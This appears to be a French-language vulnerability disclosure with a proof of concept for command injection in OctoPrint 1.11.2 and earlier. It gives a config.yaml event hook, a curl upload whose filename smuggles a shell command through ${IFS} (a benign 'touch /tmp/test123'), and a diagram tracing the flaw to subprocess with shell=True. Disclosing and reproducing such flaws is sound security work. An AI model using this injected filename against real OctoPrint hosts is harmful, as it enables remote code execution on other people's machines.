
Dans OctoPrint version <=1.11.2, un attaquant ayant un accès de téléchargement de fichier (par exemple, une clé API valide ou une session) peut créer un nom de fichier malveillant qui contourne l'assainissement et est ensuite exécuté par le système d'événements d'OctoPrint, conduisant à une exécution de code à distance (RCE) sur l'hôte
Dans OctoPrint version <=1.11.2, un attaquant disposant d’un accès au téléchargement de fichiers (par exemple, une clé API ou une session valide) peut créer un nom de fichier malveillant qui contourne l’assainissement et qui est ensuite exécuté par le système d’événements d’OctoPrint, conduisant à une exécution de code à distance (RCE) sur l’hôte
Téléchargé la dernière version stable : OctoPrint 1.11.2
octoprint serve --port 5000 --debug
Arrêter le service OctoPrint une fois les étapes ci-dessus terminées.
Suivant la documentation des événements OctoPrint :
Modifier ~/.octoprint/config.yaml :
events:
enabled: true
subscriptions:
- event: FileAdded
type: system
debug: true
command: "{path}"

Créer /tmp/gcode/ok.gcode :
; minimal gcode
G28
M105
Redémarrer le service OctoPrint.
export API_KEY='<clé récupérée précédemment depuis l’interface web>'
ls -la /tmp/test123
INJECT_NAME='octo;touch${IFS}/tmp/test123;#.gcode'Explication : ${IFS} est le séparateur de champ interne du shell (généralement un espace). Il contourne l’assainissement lorsqu’il est injecté.
curl -sS -X POST -H "X-Api-Key: $API_KEY" \
-F "file=@/tmp/gcode/ok.gcode;filename=\"${INJECT_NAME}\"" \
"http://127.0.0.1:5000/api/files/local"
ls -la /tmp/test123

Si /tmp/test123 existe, la commande injectée s’est exécutée avec succès → RCE confirmée.
[Téléchargement utilisateur avec nom de fichier malveillant]
│
▼
server/api/files.py → accepte le nom brut (les métacaractères survivent à sanitize_name)
│
▼
events.py (EventManager.fire "FileAdded") → la charge utile {path} inclut les caractères bruts
│
▼
abonné aux commandes système → subprocess.check_call(..., shell=True)
│
▼
[Les métacaractères shell injectés s’exécutent comme des commandes OS]
;, ${IFS}, etc.) est passé dans un shell.